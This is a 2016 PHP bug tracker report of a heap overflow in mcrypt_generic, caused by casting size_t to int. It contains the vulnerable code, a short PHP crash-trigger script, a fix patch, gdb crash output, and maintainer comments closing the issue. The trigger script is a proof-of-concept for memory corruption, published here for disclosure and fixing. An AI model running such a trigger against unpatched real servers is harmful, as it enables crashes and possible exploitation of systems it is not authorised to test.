php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72551 In correct casting from size_t to int lead to heap overflow in mcrypt_generic
Submitted: 2016-07-06 07:56 UTC Modified: 2016-08-01 02:46 UTC
From: minhrau dot vc dot 365 at gmail dot com Assigned: stas (profile)
Status: Closed Package: mcrypt related
PHP Version: 7.0.8 OS: ALL
Private report: No CVE-ID: None
Password:
Status:
Package:
Bug Type:
Summary:
From: minhrau dot vc dot 365 at gmail dot com
New email:
PHP Version: OS:

 

 [2016-07-06 07:56 UTC] minhrau dot vc dot 365 at gmail dot com
Description:
------------
There are have heap overflow in PHP_FUNCTION(mcrypt_generic), when this function perform stream cipher:

...
	} else { /* It's not a block algorithm */
		data_size = (int)data_len;                 (1)
		data_str = zend_string_alloc(data_size, 0);
		memset(ZSTR_VAL(data_str), 0, data_size);
		memcpy(ZSTR_VAL(data_str), data, data_len);
	}
...

incorrect casting will truncate data in data_len. The alloc and memcpy below don't check for this length and cause heap overflow.

Test script:
---------------
<?php
	/* Data */
	ini_set('memory_limit',-1);

	$key = str_repeat('C', 32);
	$str = str_repeat('A', 0x0101010101);
	$td = mcrypt_module_open('rijndael-256', '', 'cfb', '');
	$ks = mcrypt_enc_get_key_size($td);

	$iv = str_repeat('D', 32);

	if (mcrypt_generic_init($td, $key, $iv) != -1) {
		mcrypt_generic_init($td, $key, $iv);
		$p_t = mcrypt_generic($td, $str);

		mcrypt_generic_deinit($td);
		mcrypt_module_close($td);
	}
?>

Expected result:
----------------
No Crash

Patch:
------------

index 656a77c..ba39f10 100644
--- a/ext/mcrypt/mcrypt.c
+++ b/ext/mcrypt/mcrypt.c
@@ -646,6 +646,10 @@ PHP_FUNCTION(mcrypt_generic)
                memcpy(ZSTR_VAL(data_str), data, data_len);
        } else { /* It's not a block algorithm */
                data_size = (int)data_len;
+               if ((size_t)data_size < data_len){
+                       php_error_docref(NULL TSRMLS_CC, E_WARNING, "Data size has been truncated");
+                       RETURN_FALSE;
+               }
                data_str = zend_string_alloc(data_size, 0);
                memset(ZSTR_VAL(data_str), 0, data_size);


Actual result:
--------------
Starting program: /php-src/sapi/cli/php ~/phptestcase/mcrypt_generic.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Breakpoint 7, zif_mcrypt_generic (execute_data=<optimized out>, return_value=0x7ffff5c141c0) at /php-src/ext/mcrypt/mcrypt.c:649
649	len;
(gdb) p data_size
$38 = 16843009
(gdb) p data_len
$39 = 4311810305
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff6206fe3 in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
(gdb) bt
#0  0x00007ffff6206fe3 in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
#1  0x00000000005832be in zif_mcrypt_generic (execute_data=<optimized out>, return_value=0x7ffff5c141c0) at /php-src/ext/mcrypt/mcrypt.c:651
#2  0x0000000000734166 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER () at /php-src/Zend/zend_vm_execute.h:678
#3  0x0000000000723b7b in execute_ex (ex=<optimized out>) at /php-src/Zend/zend_vm_execute.h:428
#4  0x000000000077c038 in zend_execute (op_array=op_array@entry=0x7ffff5c7c000, return_value=return_value@entry=0x7ffff5c835a0) at /php-src/Zend/zend_vm_execute.h:473
#5  0x00000000006dcf45 in zend_execute_scripts (type=-171884496, type@entry=8, retval=0x7ffff5c835a0, retval@entry=0x0, file_count=file_count@entry=3) at /php-src/Zend/zend.c:1441
#6  0x000000000067e9f0 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd230) at /php-src/main/main.c:2515
#7  0x000000000077e2da in do_cli (argc=2, argv=0xeefd50) at /php-src/sapi/cli/php_cli.c:993
#8  0x000000000042b816 in main (argc=2, argv=0xeefd50) at /php-src/sapi/cli/php_cli.c:1381

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-07-13 06:19 UTC] stas@php.net
-PHP Version: 7.1Git-2016-07-06 (Git) +PHP Version: 7.0.8 -Assigned To: +Assigned To: stas
 [2016-07-13 06:19 UTC] stas@php.net
Fix in security repo as 3810e7b362e7bdef00ad33ae683a49aa7ab19e0d and in https://gist.github.com/a3651c52b121b8090c34ebf9fcffd043
 [2016-07-19 08:55 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3810e7b362e7bdef00ad33ae683a49aa7ab19e0d
Log: Fix bug #72551 and bug #72552 - check before converting size_t-&gt;int
 [2016-07-19 08:55 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-07-19 17:59 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=62da85d35db8c655e757e87828dc4eb708139f73
Log: Fix bug #72551 and bug #72552 - check before converting size_t-&gt;int
 [2016-07-20 11:29 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3810e7b362e7bdef00ad33ae683a49aa7ab19e0d
Log: Fix bug #72551 and bug #72552 - check before converting size_t-&gt;int
 [2016-08-01 02:46 UTC] minhrau dot vc dot 365 at gmail dot com
Hi,

Can I request CVE for this report?

I tried to reach CVE assign for opensource here http://iwantacve.org, but seem they inactive now.

Thanks.
 [2016-10-17 10:11 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3810e7b362e7bdef00ad33ae683a49aa7ab19e0d
Log: Fix bug #72551 and bug #72552 - check before converting size_t-&gt;int
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Nov 19 01:31:42 2017 UTC